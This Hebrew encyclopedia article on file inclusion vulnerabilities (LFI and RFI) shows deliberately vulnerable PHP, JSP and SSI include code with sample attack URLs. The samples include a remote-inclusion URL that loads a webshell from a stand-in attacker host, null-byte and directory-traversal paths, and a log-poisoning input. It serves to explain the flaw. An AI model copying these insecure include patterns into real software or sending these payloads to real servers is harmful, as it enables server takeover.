File Inclusion
הכללת קבצים (אנגלית: File Inclusion) היא פגיעות ביישומי אינטרנט לא מבוקרים המסתמכים על זמן ריצה של סקריפט. בעזרת הפגיעות יכול התוקף להחדיר קוד אל שרת אינטרנט ולהריצו באופן מקומי או מרוחק.
הפגיעות מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי. במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, ניתן לשנות את מבנה הנתיב ולגרום לתוכנית לבצע פעולות לא מתוכננות כגון: מעבר בין סיפריות (Directory Traversal), טעינה והרצת קבצים זדוניים, צפייה בקבצים חסויים הדלפת מידע רגיש ועוד.
פגיעות זו עשויה להוות בסיס להתקפות נוספות כגון:
סוגים
עריכהישנם 2 סוגי הכללות קבצים:
- הכללת קבצים מקומית (LFI - Local File Inclusion): תהליך של הכללת קבצים שכבר קיימים באופן מקומי בשרת, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול אך הקלט אינו מסונן ומאומת כראוי, מאפשר הזרקת תווים במקום הקלט המקורי ומקנה לתוקף לבצע פעולות שונות כגון: צפייה בתכנים, מעבר בין סיפריות בעזרת /.. ועוד.
- הכללת קבצים מרוחקת (RFI - Remote File Inclusion): תהליך של הכללת קבצים מרוחקים, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי ומאפשר הזרקת כתובת חיצונית והפעלת קבצים מרוחקים במקום הקלט המקורי.
שימוש
עריכהPHP
עריכהבדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP:
פונקציית ()include מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש.
כדי לנצל את הפגיעות התוקף יחליף משתנה אחד כדי לגרום לו לכלול קוד זדוני מרוחק. כדי למנוע את הפגיעות, יש לאמת את קלט לפני השימוש בו.
<?php
if ( isset( $_GET['language'] ) ) {
include( $_GET['language'] . '.php' );
}
?>
<form method="get">
<select name="language">
<option value="english">English</option>
<option value="french">French</option>
...
</select>
<input type="submit">
</form>
הערכים english.php ,french.php, ישנו את התנהגות היישום בהתאם לשפת המשתמש שנבחרה, אך במקומם ניתן להזריק קוד שונה: הכללת קבצים מרוחקת (RFI):
/vulnerable.php?language=http://evil.example.com/webshell.txt?
הכללת קבצים מקומית (LFI):
/vulnerable.php?language=C:\\ftp\\upload\\exploit
שימוש בתו Null-Byte: המתעלם מהסיומת ה-PHP ומאפשרת גישה אל קבצים שאינם PHP (תוקן בגרסת PHP 5.3).
/vulnerable.php?language=C:\\notes.txt%00
מעבר בין ספריות (Directory Traversal): כדי לגשת אל קובץ passwd במערכות UNIX.
/vulnerable.php?language=../../../../../etc/os-release%00
JavaServer Pages
עריכהבדוגמה שלהלן פגיעות בקוד JSP, שפת סקריפטים אשר יכולה לכלול קבצים בזמן ריצה:
<%
String p = request.getParameter("p");
@include file="<%="includes/" + p +".jsp"%>"
%>
בניגוד לשפת PHP, שפת JSP עדיין מושפעת מהזרקות Null Byte והפרמטר שלהלן יבצע פקודות JSP שנמצאות ביומן הגישה של שרת האינטרנט.
/vulnerable.jsp?p=../../../../var/log/access.log%00
HTML Server-Side Includes
עריכהבדוגמה שלהלן פגיעות בקוד HTML החשוף לפגיעות של הכללת קבצים מרוחקת (RFI):
<HTML>
<TITLE>Test File</TITLE>
<!--#include file=”USER_LANGUAGE”-->
</HTML>
ראו גם
עריכהקישורים חיצוניים
עריכה- מידע על הכללת קבצים מקומית באתר Acunetix (באנגלית)